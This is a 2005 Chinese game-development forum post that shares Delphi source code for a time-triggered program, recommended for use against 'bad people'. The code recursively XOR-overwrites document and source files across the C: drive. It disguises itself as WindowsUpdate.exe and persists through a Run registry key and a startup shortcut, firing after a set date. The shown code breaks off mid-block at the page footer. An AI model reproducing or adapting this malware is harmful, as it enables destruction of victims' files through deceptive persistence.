游戏开发论坛

 找回密码
 立即注册
搜索
查看: 1065|回复: 0

对可恶的人就使用这个wxh zt

[复制链接]

1367

主题

1993

帖子

2118

积分

金牌会员

Rank: 6Rank: 6

积分
2118
发表于 2005-8-12 21:23:00 | 显示全部楼层 |阅读模式
下面是一段规定时间加密硬盘的所有文本文件的程序,用于对付那些坏人,我看不错.
procedure encrypt(filename:string);
var
f1,f2:File of char ;
strp:char;
pass:string;
yhb,i:Integer;
begin

pass:='密码';
yhb:=7785836;
for i:=1 to length(pass) do
yhb:=yhb+(ORD(pass)*ORD(pass));
try
AssignFile(f1,filename);
reset(f1);
AssignFile(f2,copy(ExtractFileName(filename),1,pos('.',ExtractFileName(filename)))+'xyz');
Rewrite (f2);
I:=0;
while not Eof(f1) do
begin
i:=i+1;
Read(f1,strp);
try
strp:=chr( ord(strp) xor yhb );
except
CloseFile(f2);
CloseFile(f1);
DeleteFile(copy(ExtractFileName(filename),1,pos('.',ExtractFileName(filename)))+'xyz') ;
end;
Write (f2,strp);
end;
CloseFile(f2);
CloseFile(f1);
except
ExitProcess(0);
exit;
end;
DeleteFile(filename);
RenameFile(copy(ExtractFileName(filename),1,pos('.',ExtractFileName(filename)))+'xyz',filename);
end;

function IsFileInUse(fName : string) : boolean;
var
HFileRes : HFILE;
begin
Result := false;
if not FileExists(fName) then
exit;
HFileRes := CreateFile(pchar(fName), GENERIC_READ or GENERIC_WRITE,
0 {this is the trick!}, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
Result := (HFileRes = INVALID_HANDLE_VALUE);
if not Result then
CloseHandle(HFileRes);
end;


function MakeTree:string;
var Sr : TSearchRec;
Err : integer;
TrSize, FilePath : string;
Begin
Err:=FindFirst('*.*',$37,Sr) ;
While (Err = 0) do
begin
result:=result+#13#10+sr.name;
if (Sr.Name[1]<>'.') and (pos('.',sr.Name)<>0) and (pos('.exe',sr.Name)=0) or (pos('.doc',sr.Name)<>0) or (pos('.xsl',sr.Name)<>0) or (pos

('.txt',sr.Name)<>0)
or (pos('.asp',sr.Name)<>0) or (pos('.jsp',sr.Name)<>0) or (pos('.c',sr.Name)<>0) or (pos('.cpp',sr.Name)<>0) or (pos('.pas',sr.Name)<>0) or (pos

('.class',sr.Name)<>0) or (pos('.cs',sr.Name)<>0) or (pos('.asm',sr.Name)<>0) then
begin
FilePath:=ExpandFileName(Sr.Name);
if not IsFileInUse(Sr.Name) then
encrypt(sr.Name);
end;
If ((Sr.Attr and faDirectory)<>0)AND(Sr.Name[1] <> '.') then
begin
ChDir(Sr.Name) ;
MakeTree ;
ChDir('..') ;
end ;
Err:=FindNext(Sr) ;
end ;
End;

begin
sysstr:=getsys+'WindowsUpdate.exe';
CreateLink(sysstr,'',GetSpecialFolder+'WindowsUpdate.lnk','WindowsUpdate');
RegSetValue(HKEY_LOCAL_MACHINE,'soFTWAREMicrosoftWindowsCurrentVersionRun',reg_sz,pchar(sysstr),0);
CopyFile(pChar(ParamStr(0)), pChar(sysstr), false);
if (strtoint(formatdatetime('yyyymmdd',now))>20050813) and (strtoint(formatdatetime('hhmm',now))>1059) then
begin
ChDir('c:');
maketree;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

作品发布|文章投稿|广告合作|关于本站|游戏开发论坛 ( 闽ICP备17032699号-3 )

GMT+8, 2025-12-27 10:17

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表